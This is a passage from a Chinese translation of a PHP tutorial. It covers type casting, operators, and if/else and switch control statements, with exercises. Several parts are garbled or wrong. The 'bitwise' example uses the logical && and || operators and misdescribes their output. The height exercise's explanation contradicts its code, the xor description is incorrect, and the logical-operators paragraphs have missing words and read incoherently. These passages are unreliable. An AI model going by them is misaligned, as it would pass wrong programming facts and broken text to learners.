但有时我们需要改变变量的类型。有时,我们以字符串的形式有float值,我们希望将它们作为浮点数在我们的代码中使用。这在接受最终用户输入时很典型。假设用户在一个表单中填写了一个浮点值。当将其保存到数据库时,你必须将其从字符串(这是初始值存储的方式)转换为浮点数,如果数据库列类型是float

为了实现这一点,使用了类型转换。考虑以下示例:

$x = "13.3333";
var_dump($x);
echo "<br>";
$y = (float) $x;
var_dump($y); 

首先,我们声明了一个变量,$x,它是一个值为13.3333的字符串。然后,我们使用 PHP 的var_dump函数来显示$x的类型和值。之后,我们使用 PHP 的 cast float(在变量上转换数据类型,在$x变量之前设置数据类型,括号内)来改变$x变量的类型并将其赋值给$y。之后,我们再次使用var_dump函数来显示$y的类型和值。

运行前面的代码将生成以下输出:

string(7) "13.3333" 
float(13.3333)

你可以看到变量$y的类型已更改为浮点,其值现在是浮点数13.333而不是字符串13.333

这里是 PHP 中所有可用的类型转换列表:

  • (int) – 整数

  • (bool) – 布尔

  • (float) – 浮点数(也称为“浮点数”、“双精度浮点数”或“实数”)

  • (string) – 字符串

  • (array) – 数组

  • (object) – 对象

  • (unset) – NULL(NULL 表示没有值)

让我们看看更多不同类型的示例,并了解它们背后的细节。

练习 2.3:将布尔值转换为整数

在这个练习中,我们将接受布尔变量并将其转换为整数,从而演示类型转换的概念:

  1. chapter2文件夹内创建一个名为convertbooleanint.php的 PHP 文件。打开php标签。显示一个标题,布尔转整数,并声明两个包含truefalse的变量:

    <?php
    echo '<h3>Boolean to Int</h3>';
    $trueValueBool = true;
    $falseValueBool = false;
    
  2. 添加另一个标题,并使用var_dump查看$trueValueBool$falseValueBool的值:

    echo '<h3>Before type conversion:</h3>';
    var_dump($trueValueBool);
    echo '<br>';
    var_dump($falseValueBool);
    
  3. 现在,添加另一个标题,这次通过类型转换将变量改为整数。然后,使用var_dump查看它们的更新值:

    echo '<h3>After type conversion:</h3>';
    $trueValueInt = (int) ($trueValueBool);
    $falseValueInt = (int) ($falseValueBool);
    var_dump($trueValueInt);
    echo '<br>';
    var_dump($falseValueInt);
    

    这将产生以下输出:

    Boolean to Int
    Before type conversion:
    bool(true) 
    bool(false)
    After type conversion:
    int(1) 
    int(0)
    

这个练习演示了如何获取布尔值并使用类型转换将它们的数据类型转换为整数。

练习 2.4:将整数转换为字符串

在这个练习中,我们将做相反的操作,将整数转换为布尔值:

  1. chapter2文件夹内创建一个名为convertintstring.php的 PHP 文件。打开php标签。显示一个标题,int to string,并声明一个名为$number的整数变量:

    <?php 
    echo '<h3>int to string:</h3>';
    $number = 1234;
    
  2. 显示另一个标题,并使用var_dump查看$number的内容:

    echo '<h3>Before type conversion:</h3>';
    var_dump($number);
    
  3. 这次,将$number的数据类型更改为字符串,并将其分配给一个名为$stringValue的新变量,然后使用var_dump输出它:

    echo '<h3>After type conversion:</h3>';
    $stringValue = (string) ($number);
    var_dump($stringValue);
    

    这将给出以下输出:

    int to string:
    Before type conversion:
    int(1234)
    After type conversion:
    string(4) "1234"
    

我们从一个整数$number开始,将其值设置到另一个变量中,然后使用(一个字符串)前缀来设置其数据类型。然后我们使用var_dump输出其内容以检查内容。这种技术可以用来检查变量以确保它们是所需的数据类型。

PHP 还提供了一系列is_datatype()函数:

  • is_array

  • is_bool

  • is_callable

  • is_countable

  • is_double

  • is_float

  • is_int

  • is_integer

  • is_iterable

  • is_long

  • is_null

  • is_numeric

  • is_object

  • is_real

  • is_resource

  • is_scalar

  • is_string

这些可以用来确定它们使用的数据类型:

is_array($variable);

这返回一个布尔值,指示给定的变量是否与函数的数据类型匹配。

练习 2.5:将厘米转换为米

在这个练习中,我们将创建一个脚本,该脚本将从命令行获取三个参数:一个名字,一个以米为单位的数字,以及另一个以厘米为单位的数字。这两个数字加起来将代表用户的高度。例如,一个名叫 Jo,身高 1 米 65 厘米的用户将输入"Jo 1 65。"对于输出,我们将厘米转换为米,并打印出来,同时显示名字。观察以下步骤:

  1. chapter2文件夹内创建一个名为activity-height.php的文件。

  2. 首先,打开 PHP,从命令行收集参数,并将这些参数分配给变量。为了收集变量,可以使用$argv。这是一个在此上下文中收集变量的命令;它们被称为参数。米和厘米应该被转换为int。这可以通过使用(int$arg后跟索引来完成。例如,(int) $argv[2]

    <?php 
        // get all arguments
        $name = $argv[1];
        $heightMeters = (int) $argv[2];
        $heightCentiMeters = (int) $argv[3];
    
  3. 接下来,使用(float)将厘米转换为米,然后除以100

    // convert centimeters to meters
    $cmToMeter = (float)($heightCentiMeters/100);
    
  4. 现在,将米的高度加到结果厘米上:

    $finalHeightInMeters = $heightMeters + $cmToMeter;
    
  5. 最后,显示结果:

    // display the output
          echo $name . ': ' . $finalHeightInMeters . 'm';
    
  6. 打开终端,导航到chapter2文件夹,然后在命令行中运行以下命令:

    php activity-height.php Alex 1 75
    

    你应该在终端上看到以下截图中的输出:

![图 2.7:打印高度

![图 2.7:打印高度

图 2.7:打印高度

现在,让我们尝试理解这段代码。我们声明了三个变量 - $name$heightMeters$heightCentiMeters。由于我们将从命令行获取 3 个值,我们使用了 PHP 的预定义$argv数组,通过索引123来获取这些值。我们从索引1开始,因为$argv[0]总是脚本名称,在这种情况下将是activity-height.php。请注意,我们为$heightMeters$heightCentiMeters使用了整数转换。

在获取变量的值之后,我们将高度从厘米转换为米,通过将数值除以10,然后将结果存储在$cmToMeter变量中。在最后一行,我们按要求显示结果。这里需要类型转换的原因是为了确保数据是正确的数据类型。例如,可能传递了一个数组。通过设置数据类型,脚本告诉它必须设置哪种数据类型,如果无法设置,它将抛出一个错误。

在这个例子中,你看到了如何通过除以两个值来将米转换为厘米。这是一个算术运算的例子。现在,让我们看看更多运算符的例子。

运算符和表达式

在 PHP 中,运算符是某种可以接受一个或多个值或表达式,并应用一个操作以给出结果,该结果可以是值或另一个表达式。

PHP 将运算符分为以下几组:

  • 算术运算符

  • 字符串运算符

  • 位运算符

  • 赋值运算符

  • 比较运算符

  • 增量/减少运算符

  • 逻辑运算符

  • 数组运算符

  • 条件赋值运算符

算术运算符

算术运算符用于执行数学运算,例如,加法、减法、除法和乘法。

这里是+运算符。它将不同的数字通过+运算符分隔开来,并将这些值相加:

<?php echo 24 + 2; ?>

这将给出输出结果为26

这里是-运算符。它将不同的数字通过-运算符分隔开来,并将减去这些值:

<?php echo 24 - 2; ?>

这将给出输出结果为22

这里是*运算符。它将不同的数字通过*运算符分隔开来,并将显示它们的乘积:

<?php echo 24 * 2; ?>

这将给出输出结果为48

这里是/运算符。它将不同的数字通过/运算符分隔开来,并将打印结果:

<?php echo 24 / 2; ?>

这将给出输出结果为12

%(取模)运算符用于计算两个给定数字除法的余数:

<?php echo 24 % 5; ?>

这将给出输出结果为4

字符串运算符

字符串运算符有连接运算符和连接赋值运算符。连接意味着将一个或多个变量添加到现有变量中。例如,假设我们有以下:

<?php 
$first = 'Hello';
$second = 'World!';

现在,我们想要通过连接来一起显示这些项目:

<?php echo $first . ' ' . $second; ?>

连接使用 . 语法 - 我们可以通过这种方式连接多个变量。在这个例子中,我们用空格分隔两个变量。注意语法:一个 . 后跟一个空格,然后是一个 . 以在单词之间添加所需的空间。

连接赋值意味着将一个变量追加到现有变量上:

<?php
$str = ' second part'; 
$result = 'first part';
$result .= $str;
echo $result;

输出如下:

图 2.8:演示字符串连接

图 2.8:演示字符串连接

如您所见,使用 .= 语法,$str 变量被追加到 $result 变量。

位运算符

位运算符允许对整数中的特定位进行评估和操作。在这种情况下,整数被转换为位(二进制)以进行更快的计算。

取两个变量,$a$b。它们可以用以下条件进行评估:

<?php
$a = 1;//0001 in binary
$b = 3;//0011 in binary
//Bits that are set in both $a and $b are set.
echo $a && $b;
echo '<br>';
//Bits that are set in either $a or $b are set.
echo $a || $b;
echo '<br>';
//Bits that are set in $a or $b but not both are set.
echo $a ^ $b;

输出如下:

1
1
2

$a && $b 表达式在计算两个操作数的最后一位的 AND 结果时将返回 1$a || $b 表达式将执行两个操作数的最后一位的 OR 操作,并将返回 1

2 的结果是 $a$b 中存在的二进制位的总数,但排除了 $a$b 中都存在的位。

注意

更多关于十进制到二进制转换的信息,您可以查看 packt.live/2B0M2XK

赋值运算符

当使用 = 为变量赋值时,这构成了一个赋值运算符:

<?php 
$year = 2019; 

比较运算符

要比较两个值,使用比较运算符。有两种常见的比较运算符 - ==,表示等于,和 !=,表示不等于。

注意

赋值运算符(=)用于赋值。它不能用于执行比较操作,因为比较一个值是否与另一个值相同需要使用 == 运算符。为了确定两个变量是否相同,换句话说,具有相同的类型,使用相同的 === 运算符。

这里有一个例子:

<?php 
$cost = 200;
$money = 150;
if ($cost == $money) {
    echo 'cost matches money';
}

if ($cost != $money) {
    echo 'cost does not match money';
}

输出如下:

图 2.9:演示比较运算符的使用

图 2.9:演示比较运算符的使用

增量/减少运算符

要增加一个值,使用 ++ 运算符。这将值增加一。或者,使用 + 和一个数字将值增加该数字。例如,+3 将增加 3

<?php 
$cost = 200;
$cost++;
echo $cost; //this will give 201

要减少一个值,过程相同,但使用

<?php 
$cost = 200;
$cost--;
echo $cost; //this will give 199

逻辑运算符

在这里,我们将探讨逻辑运算符。

and 运算符执行两个表达式的逻辑合取。如果两个表达式都评估为 true,则返回布尔值 true&& 运算符是 and 的另一种说法。OR 运算符在两个操作数中的任何一个评估为 true 时返回布尔值 true,否则返回 false|| 运算符是 or 的另一种说法。

! 运算符表示非。它可以用来检查一个表达式是否不匹配。例如,考虑以下:

<?php
$isAdmin = true;
If (! $isAdmin) {
//will only run if $isAdmin == false
}

数组运算符

PHP 数组运算符用于比较数组:

  • == 表示等于(两个变量的值匹配)。考虑以下示例:

    $num1==$num2
    

    如果 $num1 的值等于 $num2 的值,则返回 true

  • === 表示等于(两个变量具有相同的类型和值):

    ($num1 === $num2);
    

    如果 $num1 的值和数据类型等于 $num2 的值和数据类型,则返回 true

  • !== 表示不等于(两个变量的值不同):

    ($num1 !== $num2);
    

    如果 $num1 不等于 $num2,或者它们不是同一类型,则返回 true

条件赋值运算符

PHP 条件赋值运算符用于根据条件设置值:

  • ?:这在三元比较中使用,例如 $x = expr1 ? expr2 : expr3(这将在下一章中详细介绍)。

  • ??:这是一个空合并运算符,表示如果第一个表达式为 true,则使用它,否则使用第二个条件,例如 $x = expr1 ?? expr2(这将在下一章中详细介绍)。

活动二.1:打印用户的 BMI 值

假设你有一天决定监测你的健康状况,但不想使用第三方工具。你可以构建一个简单的工具来获取包括姓名、体重和身高在内的测量值。从那里,你可以计算你的 BMI。

在此活动中,你将编写一个脚本,从脚本中获取变量以执行计算以获得 BMI 结果。你将设置一些默认值,但也可以通过查询字符串指定自己的数据。

完成此活动的步骤如下:

  1. 创建一个 tracker.php 文件。

  2. 定义一个 $name 字符串来存储用户的姓名。

  3. 定义一个 $weightKg 整数来存储千克为单位的体重。

  4. 定义一个 $heightCm 整数来存储厘米为单位的高度。

  5. 将高度转换为米。

  6. 计算高度的平方值。

  7. 通过将用户的体重除以高度的平方值来计算 BMI。

  8. 在屏幕上显示一条消息,显示姓名和 BMI 结果。

输出将如下所示:

![图 2.10:活动的预期结果图片 C14196_02_10.jpg

图 2.10:活动的预期结果

注意

此活动的解决方案可以在第 505 页找到。

摘要

在本章中,我们学习了不同的 PHP 数据类型,包括 string(字符串)、integer(整数)、float(浮点数)和 array(数组)。我们还学习了声明字符串的不同方法,包括 heredocnowdoc 语法。我们执行了数组操作,其中使用了索引、关联和多维数组,并从数组中添加和删除元素。我们还执行了类型转换来改变变量的类型。

在下一章中,我们将介绍条件逻辑。条件语句将逻辑引入到你的脚本中,并允许根据不同的条件执行不同的操作;例如,假设你有一个包含单词 Pending 的变量,并且你只想在单词等于 Pending 时显示一条语句。

理解条件语句将解锁编写代码的新方法,并允许进一步的用户交互。

第三章:3. 控制语句

概述

到本章结束时,你将能够描述布尔表达式;利用逻辑运算符来组合布尔表达式;在控制语句中选择正确的比较运算符;描述 PHP 中的分支和不同的循环技术;使用ifelseswitch情况、breakcontinue语句进行分支;区分有界和无界循环;实现 while、dowhileforforeach循环;并编写一个 PHP 脚本来创建电影列表应用程序。

简介

由于 PHP 是一种动态类型语言,其中类型与数据相关联而不是与变量相关联,因此理解类型在数据操作领域中的作用至关重要。在前一章中,我们学习了 PHP 中可用的数据类型、它们与变量的使用以及类型转换。我们还练习了向数组中添加和删除项目,并了解了类型转换以及将字符串数据分配给变量的heredocnowdoc的替代方法。

在本章中,我们将讨论控制语句及其重要性,并探讨 PHP 在这一领域所能提供的功能。控制语句是任何编程语言最重要的特性。简单来说,它们有助于控制程序的流程。分支循环是帮助决定程序流程的主要控制结构类型。它们还有助于构建用于复杂程序流程的递归循环。

分支使我们能够根据一定的逻辑在多个条件中遵循正确的路径。例如,假设我们想要与某个人取得联系。这个人可能有一个电子邮件地址或手机号码,我们可能想要通过电子邮件或短信与这个人联系。分支结构将帮助我们确定是否与该联系信息相关联有电子邮件地址,并根据该逻辑给这个人发送电子邮件。如果没有电子邮件地址可用,那么我们可以选择替代的通信方式,例如短信。

帮助分支的逻辑可以由一个或多个条件组成;例如,检查电子邮件地址是否可用以及检查电子邮件地址是否有效。通常,每个代码分支都会分组一组要执行的语句;例如,如果电子邮件地址可用,则发送联系人的电子邮件,记录电子邮件投递的历史记录,更新发件人电子邮件已成功发送,等等。PHP 支持if…elseswitch控制语句进行分支。分支的想法完全是关于决定并执行正确的计划:

![图 3.1:分支图图片

图 3.1:分支图

循环允许我们在满足一定逻辑的情况下执行重复的任务或重复执行程序语句。例如,我们需要给给定列表中所有具有有效电子邮件地址的人员发送电子邮件。循环结构允许我们遍历人员列表并逐个发送他们的电子邮件——如果给定的电子邮件地址是有效的,循环将继续到列表的末尾。whiledo…whileforforeach是 PHP 中可用的不同循环技术:

![图 3.2:循环图]

img/C14196_03_02.jpg

图 3.2:循环图

布尔表达式

分支和循环结构评估逻辑以执行分支或循环。这个逻辑可以测试某个值,可以是值的比较,也可以是测试逻辑关系,并且它可以写成表达式。表达式被评估为布尔值;即,由分支和循环结构评估为truefalse。对于分支,表达式作为该分支的入口检查,这样我们就可以决定是否选择该代码分支。对于循环,表达式可能作为该循环的入口或退出检查,这样我们就可以决定循环应该迭代多少次。例如,要给一个人员列表中的所有人发送电子邮件,我们可以编写一个表达式来确定列表的大小,这样我们就可以设置发送电子邮件任务多少次,并编写另一个表达式来检查电子邮件地址的有效性以发送电子邮件。

一个notandor来检查任何陈述的真实性或非真实性或错误性。考虑一个水果类比:“我喜欢苹果”。如果苹果是水果,这个表达就是true。那么,“我喜欢苹果和橙子”呢?如果“我喜欢苹果”和“我喜欢橙子”都是true,那么这个表达就是true。比较运算符在布尔表达式中也扮演着角色,当我们需要比较两个值以确定它们是否相等,或者一个是否大于或小于另一个时。比较不仅限于值,还扩展到数据类型。

在下一节中,我们将讨论布尔常量,并学习如何使用运算符编写布尔表达式,在整个章节中,我们将应用逻辑表达式评估作为布尔值。

注意

本章中的所有示例都遵循 PSR 标准编码风格指南中的样式建议,该指南可在packt.live/2VtVsUZ找到。

布尔常量

truefalse是唯一两个被视为常量的布尔值。一个简单的布尔值可以是一个简单的表达式,如下所示:

if (true) {
    echo "I love programming.";
} else {
    echo "I hate programming.";
}

如果括号内的陈述结果是true,那么应该执行true块;否则,应该执行false块。

或者,我们可以写出以下表达式:

if (false) {
    echo "I hate programming.";
} else {
    echo "I love programming.";
}

这两种方法都会输出我喜欢编程

在前面的示例中,我们使用了if…else控制语句,我们将在本章稍后讨论。

逻辑运算符

如果水果不是苹果,则为true。因此,要否定一个陈述,我们使用如果"我爱苹果"或"我爱橙子"中的任何一个语句是true,则使用true。因此,我们使用或来在任一条件为true时产生布尔true,并使用true

逻辑运算符可以用来将多个表达式组合成一个复杂的表达式。例如,语句"我爱苹果或橙子但不是西瓜"可以分解成更小的语句,例如"我爱苹果",或"我爱橙子",以及"我不爱西瓜"。如果水果不是西瓜,并且"我爱苹果"或"我爱橙子"中的任何一个语句是true,则表达式是true

非运算符

如果变量的值不是true,则为true

!$a

and 运算符

and运算符用于将多个变量或表达式连接起来以产生一个新的布尔值——truefalse

$a and $b
$a && $b

前面的代码在$a$b变量都为true时输出true

注意

这里and运算符有两种不同的变体,并且它们按照不同的优先级顺序工作。

表达式中操作执行的顺序由优先级决定。and运算符的优先级低于&&运算符。

or 运算符

or运算符用于将多个变量或表达式连接起来以产生一个新的布尔值——truefalse

$a or $b
$a || $b

前面的代码在变量$a$b中的任何一个为true时输出true

注意

这里or运算符有两种不同的变体,并且它们按照不同的优先级顺序工作。

xor 运算符

xor运算符用于将多个变量或表达式连接起来以产生一个新的布尔值——truefalse

$a xor $b

前面的代码在$a$b不是true时输出true。再次考虑一个水果的类比:当同时*我爱芒果**我爱柠檬*都是true时,语句"我爱芒果或柠檬但不是两者都爱"是false

注意

在 PHP 中,andor有两种不同的变体,它们按照不同的优先级顺序工作。请参阅packt.live/2IFwFYR中的运算符优先级表。

短路评估和运算符优先级

如果and操作是false,则整体评估必须产生false,并且不一定需要评估第二个条件。对于or运算符也是如此:如果第一个条件是true,则整体评估必须产生true,无论第二个条件是否为false

短路评估将进行尽可能少的比较来评估条件。以下是一些短路逻辑运算符的示例:

function foo() {
    return true; 
}
$a = (false && foo());
$b = (false and foo());

前面的 foo() 函数永远不会被调用,因为表达式的第一部分给出了逻辑结论。与 and 一样,如果第一个参数是 false,则不需要评估其余部分,因为 and 操作只要至少有一个参数是 false 就是 false

function foo() {
    return false;
}
$a = (true  || foo());
$b = (true  or  foo());

foo() 函数永远不会被调用,因为表达式的第一部分给出了逻辑结论。与 or 一样,如果第一个参数是 true,则不需要评估其余部分,因为 or 操作只要至少有一个参数是 true 就是 true

要看看另一个例子,短路评估对于以下条件很有用:

if ($todayIsSunday && $isNotRaining) {
    echo "Let's play UNO at my place.";
}

如果 $todayIsSundayfalse,则整个表达式将被评估为 false,并且没有在家玩游戏的机会。

注意

一旦知道结果,逻辑表达式的评估就会停止。

逻辑运算符的优先级

我们需要意识到赋值语句中相同逻辑运算符的优先级,以便布尔值在评估结果之前不会遇到赋值。以下示例显示了相同逻辑运算符(|| / or)的优先级如何可能破坏评估。

||or 的比较

考虑以下例子:

$a = false || true; //outputs true

(false || true) 表达式的结果已经被分配给 $a,并像 ($a=(false||true)) 一样进行评估,因为 || 的优先级高于 =

$a = false or true; //outputs false!

or 操作之前,将 false 常量分配给 $a,并像 (($a = false) or true) 一样进行评估,因为 or 的优先级低于 =

&&and 的比较

考虑以下例子:

$a = true && false; //outputs false

(true && false) 表达式的结果已经被分配给 $a,并像 ($a = (true && false)) 一样进行评估,因为 && 的优先级高于 =

$a = true and false; //outputs true!

and 操作发生之前,将 true 常量分配给 $a,并像 (($a = true) and false) 一样进行评估,因为 and 的优先级低于 =

考虑以下用例,其中我们需要在用户同时拥有用户名和密码的情况下授予访问权限。在示例中,我们可以看到用户没有密码,因此不应授予访问权限:

$hasUsername = true;
$hasPassword = false;
$access = $hasUsername and $hasPassword; //true

这里,由于 $hasPasswordfalse,因此不应授予 $access 或应将其设置为 false。相反,由于语句被评估为 (($access = $hasUsername) and $hasPassword)$access 变为 true,并且用户在没有密码的情况下被授予访问权限。

因此,为了避免这种表达式的不良评估,建议使用括号将表达式作为一个单元在括号内进行评估。

注意

andor 的优先级低于 =,但 ||&& 的优先级更高。

比较运算符

我们经常需要比较值以决定程序流程。例如,我们可能想乘坐四座车,我们需要确保乘客数量不超过车的容量。因此,在编程中,为了检查此类条件,我们经常利用比较运算符

比较运算符比较两个值,并根据给定的比较返回truefalse。比较涉及检查两个值是否相等,是否为相同的数据类型,是否小于、大于等。或者,您还可以有混合比较,如小于等于、大于等于等。

PHP 引入了一种全新的比较运算符——太空船运算符<=>,它可以检查两个数字的相等性,并允许我们知道哪个数字更大。

让我们来看看比较运算符及其行为:

![图 3.3:运算符及其描述图片 C14196_03_03.jpg

图 3.3:运算符及其描述

注意

当我们比较不同类型的值时,例如整数和字符串,会发生类型转换。字符串将被转换为数字以进行数值比较;也就是说,1 == "01"等价于1 == 1。对于===!==,它们比较类型和值,类型转换不适用。

关于各种类型比较,请参阅与各种类型的比较,可在packt.live/2Vsk4NZ找到。

查看一些比较运算符的有趣示例:

![图 3.4:比较运算符表图片 C14196_03_04.jpg

图 3.4:比较运算符表

通过前面的不同类型示例,我们希望对比较运算符及其背后的类型转换有一个清晰的了解。

注意

在表达式的评估过程中,比较运算符的优先级高于布尔运算符。

例如,在这个多表达式($smallNumber > 2 && $smallNumber < 5)中,比较是在布尔运算之前执行的。

分支

如我们之前讨论的,确定正确的路径或从多个代码块中选择一个代码块来执行可以描述为truefalse。因此,根据布尔表达式的结果,我们可以选择执行所需的语句或语句组。

ifswitch语句是两种主要的分支控制结构。if是任何编程语言中最常用的条件结构。switch可以在某些情况下使用,例如可以通过单个值或表达式选择多个分支,或者当一系列if语句不方便时。

if 语句

if的语法如下:

if (expression)
    statement;

在这里,if (expression)是控制结构,而statement是一个以分号结束的单行语句,或者是一对大括号内包含的多条语句,如下所示:

if (expression) {
    statement1;
        .
        .
     statementN;
}

因此,如果表达式的结果评估为true,则应执行下一个语句或语句块。

让我们来看一个例子:

$number1 = 5;
$number2 = 3;
if ($number1 > $number2) {
    print("$number1 is greater than $number2"); //prints 5 is greater than 3
}

前面的表达式产生布尔true,因此执行true分支。

注意

控制结构体可能包含一个单独的语句、一个封闭的语句块或另一个条件结构。

if…else 语句

if控制结构评估为true时,我们可以执行紧随其后的语句块,但如果控制表达式中的评估产生false,怎么办?我们可以在其中添加一个可选的else块来执行其中的语句。

让我们看看if…else语句的语法:

if (expression)
    statement;
else
    statement;

在这里,else是当条件为false时的后备选项。使用else块,我们可以根据条件表达式评估为false来执行语句:

图 3.5:if…else 语句

img/C14196_03_05.jpg

图 3.5:if…else 语句

让我们看看if..else控制结构的另一个例子:

$number1 = 3;
$number2 = 5;
if ($number1 > $number2) {
    print("$number1 is greater than $ number2");
} else {
    print("$number1 is less than $number2"); //prints 3 is less than 5
}

现在我们已经看到了ifif…else语句的基本实现,让我们在接下来的两个练习中创建一些基本的脚本来实现它们,并观察实际程序中分支是如何发生的。

练习 3.1:创建一个基本的脚本以实现 if...else 测试用例

在接下来的练习中,你将学习如何使用 PHP 的内置date()函数获取日期。你将使用if...else测试用例来检查今天是否是星期日,然后打印Get restGet ready and go to the office

  1. 创建一个名为test-sunday.php的 PHP 文件,并插入以下内容:

    <?php
    if ("Sunday" === date("l")) {
            echo "Get rest";
    } else {
            echo "Get ready and go to the office";
    }
    

    在这里,我们使用了一个带有日期格式标志的内置date函数,即l(小写 L),它返回当前星期的文本表示;即从星期日到星期六。请注意,大写用于日期字符串中的第一个字符;即星期日,因为函数以这种方式返回。

    if条件表达式("Sunday" === date("l"))将返回的星期名称与"Sunday"匹配。如果今天是星期日,那么("Sunday" === "Sunday")将完全匹配并产生true,并打印"Get rest";否则,它将打印"Get ready and go to the office"。

  2. 从终端或控制台运行 PHP 文件,如下命令所示:

    php test-sunday.php
    

    如果今天是星期日,脚本将打印Get rest;否则,它将打印Get ready and go to the office

图 3.6:if…else 脚本输出

img/C14196_03_06.jpg

图 3.6:if…else 脚本输出

注意

你可以在packt.live/35mGNzC找到更多关于 PHP date函数的信息。

练习 3.2:实现嵌套的 if...else 结构

在接下来的练习中,我们将练习使用嵌套的if...else结构,并在控制语句中使用不同类型的表达式。我们将创建一个脚本,该脚本将根据一个数大于另一个数且这两个数不相等的事实来打印两个给定数字之间的差异。在这里,这两个数都是正整数。

通过嵌套的if...else结构,我们将测试数字是否相等。如果不相等,我们将确定哪个数字更大,并从另一个数字中减去以打印差值:

  1. 创建一个名为test-difference.php的 PHP 文件。

  2. 声明两个变量,$a$b,并分别将它们的值设置为53,如下所示:

    <?php
    $a = 5;
    $b = 3;
    
  3. 插入一个if…else结构,如下所示的内容:

    <?php
    $a = 5;
    $b = 3;
    if($a - $b) {
        //placeholder for inner if...else
    } else {
        print("The numbers are equal");
    }
    

    如我们所知,表达式 ID 的结果评估为truefalse,对于非布尔结果应转换为布尔类型。示例表达式($a - $b)取决于0被视为false的事实,所以如果差值为零,则表达式将被评估为false,因此将打印"数字相等"。

  4. if情况体内添加另一个if…else结构来处理差值数字,如下所示:

    <?php
    $a = 5;
    $b = 3;
    if($a - $b) {
        if ($a > $b) {
            $difference = $a - $b;
    } else {
            $difference = $b - $a;
    }
    print("The difference is $difference");
    } else {
        print("The numbers are equal");
    }
    
  5. 在前面的例子中,内部if...else确定哪个数字更大,并从另一个数字中减去以打印差值。

  6. 使用以下命令从终端或控制台运行 PHP 文件:

    php test-difference.php
    

    如果数字不相等,脚本将打印"差值是 2";否则,由于没有差值,将打印"数字相等":

    图 3.7:嵌套的 if…else 脚本输出

    图 3.7:嵌套的 if…else 脚本输出

  7. 调整$a$b的值,并重新运行脚本以获得不同的结果。

  8. 我们的目标是实现不同的条件覆盖率,开发if…else控制结构。if...else结构在条件评估为true时执行true分支;否则,执行false分支。

三元运算符

可以将三元运算符视为具有以下语法的简写if..else语句:

(expression1)? (expression2): (expression3)

在这里,如果expression1评估为true,则执行expression2;否则,expression3执行expression1false评估。

三元运算符可以用于分配默认值,如下所示:

$msg = ("Sunday" === date("l"))? "Get rest" : "Get ready and go to the office";
echo $msg;

在前面的例子中,如果今天是星期日,则将打印"休息";否则,将打印Get ready and go to the office,并且我们可以评估条件以在单行上返回一个值。三元运算符适用于某些情况,特别是用于分配默认值,在return语句中用于评估和返回一个值,或者用于动态字符串中解析和打印输出。

也可以用以下方式编写三元运算符:

echo ($msg) ? :"Get ready and go to the office";
//equivalent to
echo ($msg) ? $msg : "Get ready and go to the office";

如果$msg变量不为空,则将打印其值;否则,将打印"Get ready and go to the office"

if…elseif…else 语句

考虑一个需要评估一系列条件的例子。比如说,你想要根据 GPA(满分 4 分)的范围显示考试的成绩等级;也就是说,3.80 到 4 分得到 A+等级,3.75 到 3.80 以下得到 A 等级,依此类推。因此,如果 GPA 大于或等于 3.80,我们需要从最高条件开始,然后我们可以将 GPA 定义为 A+;否则,如果 GPA 大于或等于 3.75,那么它就是 A 等级,因为我们已经从最高条件回退了。如果 GPA 大于或等于 3.50,那么成绩将是 A-,依此类推。

考虑一个文章发布应用程序,其中我们需要根据用户角色的类型分配不同的操作。比如说,如果用户是编辑,则用户可以创建、阅读、编辑、发布和删除文章。如果用户是作者,他们只能创建、阅读和编辑文章。如果用户是读者,他们只能阅读和评论文章,等等。

因此,我们可能想要评估一系列表达式,如前例所示,以覆盖更多场景。这就是需要评估级联表达式序列的地方,如下嵌套的if…elseif…else语句语法:

if (expression1)
    statement;
elseif (expression2)
    statement;
else
    statement;

这个if…elseif…else语法与if…else if…else语句相同,如下所示:

if (expression1)
    statement;
else
    if (expression2)
        statement;
    else
        statement;

这里,可以通过级联if...else语句来评估更多的表达式。

使用这样的控制结构,我们可以评估一个数字是正数、负数还是零。查看以下简单示例:

if ($n > 0) {
    print("$n is a positive number.");
} elseif ($n) {
    print("$n is a negative number.");
} else {
    print("$n is zero.");
}

这里,我们尝试确定整数$n的特性,并涵盖了三个简单场景;即检查数字是否为正数,检查数字是否为负数,最后,我们可以回退到数字为零的决策。你可以添加更多使用elseif语句评估的表达式,就像这样。if…else语句的结构支持多分支,并允许你只执行具有成功布尔评估的单个语句分支。

练习 3.3:使用 if...elseif...else 语句创建脚本

在以下练习中,你将学习如何利用if...elseif...else控制结构来确定年龄范围。我们将创建一个脚本,其中包含一个名为$age的变量,该变量包含一个代表年龄的数字。如果年龄值等于或大于 18,则打印"young";否则,如果年龄值小于 18 且大于 10,则打印"teenager"。如果年龄小于 10,则打印"child"。

我们将根据$age变量中给出的值确定年龄范围,并相应地打印年龄类别:

  1. 创建一个名为test-age.php的 PHP 文件。

  2. 声明$age变量如下:

    <?php
    $age = 12;
    
  3. 插入以下if…elseif…else结构:

    <?php
    $age = 12;
    if ($age >= 18) {
            print("Young");
    } elseif ($age > 10) {
            print("Teenager");
    } else {
            print("Child");
    }
    

    在这里,我们使用了之前章节中讨论的比较运算符。($age >= 18)语句确定年龄是否大于或等于 18。如果年龄既不大于也不等于 18,则执行将跳转到下一个测试表达式,($age > 10)检查年龄是否大于 10,因为年龄已经小于 18。再次,如果($age > 10)表达式不返回true,则年龄将被认为是小于 10,因此被归类为"Child"。

  4. 从终端或控制台运行 PHP 文件,如下命令所示:

    php test-age.php
    

    脚本根据不同的年龄范围打印出"Young","Teenager"和"Child":

    图 3.8:if…elseif…else 脚本输出

    图 3.8:if…elseif…else 脚本输出

  5. 你可能还想添加更多的测试表达式来覆盖另一个年龄范围,如下所示:

    <?php
    $age = 12;
    if ($age > 25) {
            print("Adult");
    } elseif ($age >= 18) {
            print("Young");
    } elseif ($age > 10) {
            print("Teenager");
    } else {
            print("Child");
    }
    

    这里,我们添加了($age > 25)作为另一个测试表达式来展示级联的if…else结构。

    注意

    测试的年龄范围和打印的年龄类别仅用于学习演示。

switch Case

switch语句提供了与同一表达式上的if语句,并具有默认块,就像最后的else语句。

根据表达式的返回值,选择适当的带有适当值的 case 进行执行。表达式可以是任何类型的表达式或变量,它给出一个值,如数字或字符串:

图 3.9:switch 图

图 3.9:switch 图

switch语句的语法如下:

switch(expression) { 
    case value-1: 
        statement-1 
        statement-2 
        ... 
        break; 
    case value-2: 
        statement-3 
        statement-4 
        ... 
        break;     
        ...   
    default:
        default-statement 
} 

这就是前面代码中发生的情况:

  • switch(…){…}是控制结构。

  • expression是产生要匹配的不同情况的值的表达式。

  • case value:…是要执行的语句块。为了执行该块,case 值应该与表达式的返回值相似。

  • default:是当switch表达式的返回值不匹配任何 case 时要执行的语句块,就像else一样。

    注意

